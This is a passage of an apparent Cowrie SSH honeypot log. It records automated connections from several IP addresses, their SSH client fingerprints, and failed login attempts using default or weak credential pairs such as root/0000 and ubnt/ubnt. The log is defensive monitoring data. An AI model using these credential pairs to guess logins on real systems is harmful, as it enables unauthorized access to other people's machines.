{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:33.289485Z","src_ip":"83.168.110.85","session":"5c179d16e34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:33.650583Z","src_ip":"83.168.110.85","session":"5c179d16e34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:34.908434Z","src_ip":"83.168.110.85","session":"5c179d16e34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35846,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e26f865e4c","protocol":"ssh","message":"New connection: 83.168.110.85:35846 (159.203.135.109:22) [session: e4e26f865e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:43.610360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:43.614974Z","src_ip":"83.168.110.85","session":"e4e26f865e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:43.735756Z","src_ip":"83.168.110.85","session":"e4e26f865e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:44.101038Z","src_ip":"83.168.110.85","session":"e4e26f865e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:45.299573Z","src_ip":"83.168.110.85","session":"e4e26f865e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53290,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9e12507a9f2","protocol":"ssh","message":"New connection: 83.168.110.85:53290 (159.203.135.109:22) [session: a9e12507a9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:54.134534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:54.139579Z","src_ip":"83.168.110.85","session":"a9e12507a9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:54.261012Z","src_ip":"83.168.110.85","session":"a9e12507a9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:54.624473Z","src_ip":"83.168.110.85","session":"a9e12507a9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:22:55.823899Z","src_ip":"83.168.110.85","session":"a9e12507a9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55810,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4bd56641568","protocol":"ssh","message":"New connection: 83.168.110.85:55810 (159.203.135.109:22) [session: a4bd56641568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:04.488967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:04.494923Z","src_ip":"83.168.110.85","session":"a4bd56641568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:04.616607Z","src_ip":"83.168.110.85","session":"a4bd56641568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:04.984837Z","src_ip":"83.168.110.85","session":"a4bd56641568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:06.238715Z","src_ip":"83.168.110.85","session":"a4bd56641568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49568,"dst_ip":"159.203.135.109","dst_port":22,"session":"8efaf511ae88","protocol":"ssh","message":"New connection: 83.168.110.85:49568 (159.203.135.109:22) [session: 8efaf511ae88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:14.688777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:14.696509Z","src_ip":"83.168.110.85","session":"8efaf511ae88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:14.818454Z","src_ip":"83.168.110.85","session":"8efaf511ae88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:15.188359Z","src_ip":"83.168.110.85","session":"8efaf511ae88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:16.329468Z","src_ip":"83.168.110.85","session":"8efaf511ae88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":44532,"dst_ip":"159.203.135.109","dst_port":22,"session":"90bf3a40b4de","protocol":"ssh","message":"New connection: 152.32.171.99:44532 (159.203.135.109:22) [session: 90bf3a40b4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:19.975234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:19.980041Z","src_ip":"152.32.171.99","session":"90bf3a40b4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:20.190575Z","src_ip":"152.32.171.99","session":"90bf3a40b4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeremy","message":"login attempt [root/jeremy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:21.066051Z","src_ip":"152.32.171.99","session":"90bf3a40b4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:22.279731Z","src_ip":"152.32.171.99","session":"90bf3a40b4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45484,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd22ef7207a","protocol":"ssh","message":"New connection: 83.168.110.85:45484 (159.203.135.109:22) [session: 1bd22ef7207a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:25.259722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:25.264581Z","src_ip":"83.168.110.85","session":"1bd22ef7207a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:25.386008Z","src_ip":"83.168.110.85","session":"1bd22ef7207a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:25.748608Z","src_ip":"83.168.110.85","session":"1bd22ef7207a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":59998,"dst_ip":"159.203.135.109","dst_port":22,"session":"d12e8eb0a8db","protocol":"ssh","message":"New connection: 147.45.197.250:59998 (159.203.135.109:22) [session: d12e8eb0a8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:26.321631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:26.326176Z","src_ip":"147.45.197.250","session":"d12e8eb0a8db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:26.419115Z","src_ip":"147.45.197.250","session":"d12e8eb0a8db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:26.699021Z","src_ip":"147.45.197.250","session":"d12e8eb0a8db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:26.921591Z","src_ip":"83.168.110.85","session":"1bd22ef7207a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:27.794683Z","src_ip":"147.45.197.250","session":"d12e8eb0a8db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":45656,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c49e01e40a1","protocol":"ssh","message":"New connection: 103.118.29.129:45656 (159.203.135.109:22) [session: 6c49e01e40a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:29.145032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:29.149410Z","src_ip":"103.118.29.129","session":"6c49e01e40a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 